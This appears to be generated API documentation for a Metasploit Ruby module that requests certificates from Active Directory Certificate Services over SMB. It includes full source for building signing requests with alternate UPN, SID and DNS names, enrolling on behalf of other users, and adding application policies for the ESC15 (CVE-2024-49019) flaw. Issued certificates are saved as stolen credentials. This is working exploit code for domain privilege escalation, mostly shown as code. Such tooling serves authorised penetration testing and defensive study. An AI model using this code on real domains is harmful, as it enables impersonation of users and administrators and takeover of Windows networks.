Module: Msf::Exploit::Remote::MsIcpr
- Includes:
- DCERPC, SMB::Client::Ipc
- Defined in:
- lib/msf/core/exploit/remote/ms_icpr.rb
Defined Under Namespace
Classes: MsIcprAuthenticationError, MsIcprAuthorizationError, MsIcprConnectionError, MsIcprError, MsIcprNotFoundError, MsIcprUnexpectedReplyError, MsIcprUnknownError
Constant Summary collapse
- OID_NTDS_CA_SECURITY_EXT =
[2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71)
'1.3.6.1.4.1.311.25.2'.freeze
- OID_NT_PRINCIPAL_NAME =
[2.2.2.7.5 szOID_NT_PRINCIPAL_NAME](docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/ea9ef420-4cbf-44bc-b093-c4175139f90f)
'1.3.6.1.4.1.311.20.2.3'.freeze
- OID_NTDS_OBJECTSID =
[[MS-WCCE]: Windows Client Certificate Enrollment Protocol](docs.microsoft.com/en-us/openspecs/windows_protocols/ms-winerrata/c39fd72a-da21-4b13-b329-c35d61f74a60)
'1.3.6.1.4.1.311.25.2.1'.freeze
- OID_ENROLLMENT_NAME_VALUE_PAIR =
[[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
'1.3.6.1.4.1.311.13.2.1'.freeze
- OID_APPLICATION_CERT_POLICIES =
[[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
'1.3.6.1.4.1.311.21.10'.freeze
Constants included from DCERPC
DCERPC::DCERPCClient, DCERPC::DCERPCPacket, DCERPC::DCERPCResponse, DCERPC::DCERPCUUID, DCERPC::NDR
Constants included from DCERPC_LSA
Constants included from DCERPC_MGMT
Constants included from SMB::Client
SMB::Client::CONST, SMB::Client::DCERPCClient, SMB::Client::DCERPCPacket, SMB::Client::DCERPCResponse, SMB::Client::DCERPCUUID, SMB::Client::NDR, SMB::Client::SIMPLE, SMB::Client::XCEPT
Instance Attribute Summary
Attributes included from DCERPC
Attributes included from Tcp
Attributes included from SMB::Client
Class Method Summary collapse
-
.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) ⇒ OpenSSL::X509::Request
Make a certificate signing request.
-
.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ⇒ Rex::Proto::CryptoAsn1::Cms::ContentInfo
Make a certificate request on behalf of another user.
- .connect_icpr(tree) ⇒ Object
- .do_request_cert(icpr, opts) ⇒ Object
-
.get_cert_msext_sid(cert) ⇒ String?
Get the object security identifier (SID) from the certificate.
-
.get_cert_msext_upn(cert) ⇒ Array<String>
Get the User Principal Name (UPN) from the certificate.
-
.get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>
Get the certificate policy OIDs from the certificate.
-
.get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName
Get the SubjectAltName (SAN) field from the certificate.
-
.get_cert_san_dns(cert) ⇒ Array<String>
Get the DNS hostnames from the certificate.
-
.get_cert_san_email(cert) ⇒ Array<String>
Get the E-mail addresses from the certificate.
- .icpr_service_data ⇒ Object
Instance Method Summary collapse
Methods included from DCERPC
#dcerpc_bind, #dcerpc_call, #dcerpc_getarch, #dcerpc_handle, #dcerpc_handle_target, #unicode
Methods included from DCERPC_LSA
Methods included from DCERPC_MGMT
#dcerpc_mgmt_connect, #dcerpc_mgmt_inq_if_ids, #dcerpc_mgmt_inq_if_stats, #dcerpc_mgmt_inq_princ_name, #dcerpc_mgmt_is_server_listening, #dcerpc_mgmt_stop_server_listening
Methods included from DCERPC_EPM
#dcerpc_endpoint_find_tcp, #dcerpc_endpoint_find_udp, #dcerpc_endpoint_list
Methods included from Tcp
#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #replicant, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version, #sslkeylogfile
Methods included from SMB::Client::Ipc
Methods included from Auxiliary::Report
#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot
Methods included from Metasploit::Framework::Require
optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines
Methods included from Kerberos::ServiceAuthenticator::Options
Methods included from Kerberos::Ticket::Storage
#kerberos_storage_options, #kerberos_ticket_storage, store_ccache
Methods included from SMB::Client
#connect, #domain, #domain_username_split, #smb_create, #smb_direct, #smb_enumprinters, #smb_enumprintproviders, #smb_file_exist?, #smb_file_rm, #smb_fingerprint, #smb_fingerprint_windows_lang, #smb_fingerprint_windows_sp, #smb_hostname, #smb_lanman_netshareenumall, #smb_login, #smb_lookup_share_type, #smb_netshareenumall, #smb_netsharegetinfo, #smb_open, #smb_peer_lm, #smb_peer_os, #smb_srvsvc_netshareenumall, #smb_srvsvc_netsharegetinfo, #smbhost, #splitname, #unicode
Class Method Details
.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) ⇒ OpenSSL::X509::Request
Make a certificate signing request.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 282 def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request| extensions = [] subject_alt_names = [] subject_alt_names << "DNS:#{dns}" if dns subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn unless subject_alt_names.empty? extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) end if msext_sid ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { type_id: OID_NTDS_OBJECTSID, value: msext_sid }) extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) end unless application_policies.blank? application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new( certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) } ) extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false) end unless extensions.empty? request.add_attribute(OpenSSL::X509::Attribute.new( 'extReq', OpenSSL::ASN1::Set.new( [OpenSSL::ASN1::Sequence.new(extensions)] ) )) end end end |
.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ⇒ Rex::Proto::CryptoAsn1::Cms::ContentInfo
Make a certificate request on behalf of another user.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 327 def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined digest = OpenSSL::Digest.new(algorithm) unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) } raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs." end digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name) signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new( version: 1, sid: { issuer: cert.issuer, serial_number: cert.serial.to_i }, digest_algorithm: { algorithm: digest_oid }, signed_attrs: [ { attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR, attribute_values: [ RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new( name: 'requestername', value: on_behalf_of )) ] }, { attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest, attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))] } ], signature_algorithm: { algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}") } ) data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der signature = key.sign(digest, data) signer_info[:signature] = signature signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new( version: 3, digest_algorithms: [ { algorithm: digest_oid } ], encap_content_info: { econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData, econtent: csr.to_der }, certificates: [{ openssl_certificate: cert }], signer_infos: [signer_info] ) Rex::Proto::CryptoAsn1::Cms::ContentInfo.new( content_type: Rex::Proto::Kerberos::Model::OID::SignedData, data: signed_data ) end |
.connect_icpr(tree) ⇒ Object
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 117 def connect_icpr(tree) vprint_status('Connecting to ICertPassage (ICPR) Remote Protocol') icpr = tree.open_file(filename: 'cert', write: true, read: true) vprint_status('Binding to \\cert...') icpr.bind( endpoint: RubySMB::Dcerpc::Icpr, auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT ) vprint_good('Bound to \\cert') icpr end |
.do_request_cert(icpr, opts) ⇒ Object
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 132 def do_request_cert(icpr, opts) private_key = OpenSSL::PKey::RSA.new(2048) user = opts[:username] || datastore['SMBUser'] status_msg = "Requesting a certificate for user #{user}" alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS']) alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID']) alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN']) algorithm = opts[:algorithm] || datastore['DigestAlgorithm'] application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/)) status_msg << " - alternate DNS: #{alt_dns}" if alt_dns status_msg << " - alternate UPN: #{alt_upn}" if alt_upn status_msg << " - digest algorithm: #{algorithm}" if algorithm csr = build_csr( cn: user, private_key: private_key, dns: alt_dns, msext_sid: alt_sid, msext_upn: alt_upn, algorithm: algorithm, application_policies: application_policies ) on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF']) status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of if @pkcs12 && on_behalf_of vprint_status("Building certificate request on behalf of #{on_behalf_of}") csr = build_on_behalf_of( csr: csr, on_behalf_of: on_behalf_of, cert: @pkcs12.certificate, key: @pkcs12.key, algorithm: algorithm ) end cert_template = opts[:cert_template] || datastore['CERT_TEMPLATE'] status_msg << " - template: #{cert_template}" attributes = { 'CertificateTemplate' => cert_template } san = [] san << "dns=#{alt_dns}" if alt_dns san << "upn=#{alt_upn}" if alt_upn attributes['SAN'] = san.join('&') unless san.empty? vprint_status(status_msg) response = icpr.cert_server_request( attributes: attributes, authority: datastore['CA'], csr: csr ) case response[:status] when :issued print_good('The requested certificate was issued.') when :submitted print_warning('The requested certificate was submitted for review.') else print_error('There was an error while requesting the certificate.') print_error(response[:disposition_message].strip.to_s) unless response[:disposition_message].blank? hresult = ::WindowsError::HResult.find_by_retval(response[:disposition]).first if hresult print_error('Error details:') print_error(" Source: #{hresult.facility}") if hresult.facility print_error(" HRESULT: #{hresult}") end case hresult when ::WindowsError::HResult::CERTSRV_E_ENROLL_DENIED raise MsIcprAuthorizationError.new(hresult.description) when ::WindowsError::HResult::CERTSRV_E_TEMPLATE_DENIED raise MsIcprAuthorizationError.new(hresult.description) when ::WindowsError::HResult::CERTSRV_E_UNSUPPORTED_CERT_TYPE raise MsIcprNotFoundError.new(hresult.description) else raise MsIcprUnknownError.new(hresult.description) end end return unless response[:certificate] policy_oids = get_cert_policy_oids(response[:certificate]) if application_policies.present? && !(application_policies - policy_oids.map(&:value)).empty? print_error('Certificate application policy OIDs were submitted, but some are missing in the response. This indicates the target has received the patch for ESC15 (CVE-2024-49019) or the template is not vulnerable.') return end if policy_oids print_status('Certificate Policies:') policy_oids.each do |oid| print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : '')) end end unless (dns = get_cert_san_dns(response[:certificate])).empty? print_status("Certificate DNS: #{dns.join(', ')}") end unless (email = get_cert_san_email(response[:certificate])).empty? print_status("Certificate Email: #{email.join(', ')}") end if (sid = get_cert_msext_sid(response[:certificate])) print_status("Certificate SID: #{sid}") end unless (upn = get_cert_msext_upn(response[:certificate])).empty? print_status("Certificate UPN: #{upn.join(', ')}") end pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate]) # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate" # TODO: I was under the impression a single certificate can only have one UPN associated with it. # But here, `upn` can be an array of UPN's. This will need to be sorted out. upn_username, upn_domain = upn&.first&.split('@') service_data = icpr_service_data credential_data = { **service_data, address: service_data[:host], port: rport, protocol: service_data[:proto], service_name: service_data[:name], workspace_id: myworkspace_id, username: upn_username || datastore['SMBUser'], private_type: :pkcs12, private_data: Base64.strict_encode64(pkcs12.to_der), private_metadata: { adcs_ca: datastore['CA'], adcs_template: cert_template }, realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: upn_domain || simple.client.default_domain, origin_type: :service, module_fullname: fullname } create_credential(credential_data) stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info) print_status("Certificate stored at: #{stored_path}") pkcs12 end |
.get_cert_msext_sid(cert) ⇒ String?
Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 410 def get_cert_msext_sid(cert) ext = cert.extensions.find { |e| e.oid == OID_NTDS_CA_SECURITY_EXT } return unless ext ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der) return unless ntds_ca_security_ext[:OtherName][:type_id].value == OID_NTDS_OBJECTSID ntds_ca_security_ext[:OtherName][:value].value end |
.get_cert_msext_upn(cert) ⇒ Array<String>
Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 424 def get_cert_msext_upn(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:otherName][:type_id]&.value == OID_NT_PRINCIPAL_NAME end.map do |gn| RASN1::Types::Utf8String.parse(gn[:otherName][:value].value, explicit: 0, constructed: true).value end end |
.get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>
Get the certificate policy OIDs from the certificate.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 394 def get_cert_policy_oids(cert) ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' } return [] unless ext cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der) cert_policies.value.map do |policy_info| oid_string = policy_info[:policyIdentifier].value Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string) end end |
.get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName
Get the SubjectAltName (SAN) field from the certificate.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 438 def get_cert_san(cert) ext = cert.extensions.find { |e| e.oid == 'subjectAltName' } return unless ext Rex::Proto::CryptoAsn1::X509::SubjectAltName.parse(ext.value_der) end |
.get_cert_san_dns(cert) ⇒ Array<String>
Get the DNS hostnames from the certificate.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 449 def get_cert_san_dns(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:dNSName].value? end.map do |gn| gn[:dNSName].value end end |
.get_cert_san_email(cert) ⇒ Array<String>
Get the E-mail addresses from the certificate.
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 463 def get_cert_san_email(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:rfc822Name].value? end.map do |gn| gn[:rfc822Name].value end end |
.icpr_service_data ⇒ Object
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 473 def icpr_service_data { host: rhost, port: rport, host_name: simple.client.default_name, proto: 'tcp', name: 'smb', info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})" } end |
Instance Method Details
#initialize(info = {}) ⇒ Object
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 38 def initialize(info = {}) super ([ OptString.new('CA', [ true, 'The target certificate authority' ]), OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]), OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]), OptString.new('ALT_SID', [ false, 'Alternative object SID' ]), OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]), OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/), OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]), OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]), Opt::RPORT(445) ], Msf::Exploit::Remote::MsIcpr) ([ OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]) ]) end |
#request_certificate(opts = {}) ⇒ Object
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 87 def request_certificate(opts = {}) tree = opts[:tree] || connect_ipc begin icpr = connect_icpr(tree) rescue RubySMB::Error::UnexpectedStatusCode => e if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND # STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target raise MsIcprNotFoundError, 'Connection failed (AD CS was not found).' end elog(e., error: e) raise MsIcprUnexpectedReplyError, "Connection failed (unexpected status: #{e.status_name})" end do_request_cert(icpr, opts) rescue RubySMB::Dcerpc::Error::FaultError => e elog(e., error: e) raise MsIcprUnexpectedReplyError, "Operation failed (DCERPC fault: #{e.status_name})" rescue RubySMB::Dcerpc::Error::DcerpcError => e elog(e., error: e) raise MsIcprUnexpectedReplyError, e. rescue RubySMB::Error::RubySMBError elog(e., error: e) raise MsIcprUnknownError, e. end |
#setup ⇒ Object
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# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 58 def setup errors = {} if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/ errors['ALT_SID'] = 'Must be a valid SID.' end if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/ errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.' end if datastore['ON_BEHALF_OF'].present? errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/ errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank? end @pkcs12 = nil if datastore['PFX'].present? begin @pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX'])) rescue StandardError => e errors['PFX'] = "Failed to load the PFX file (#{e})" end end raise OptionValidateError, errors unless errors.empty? super end |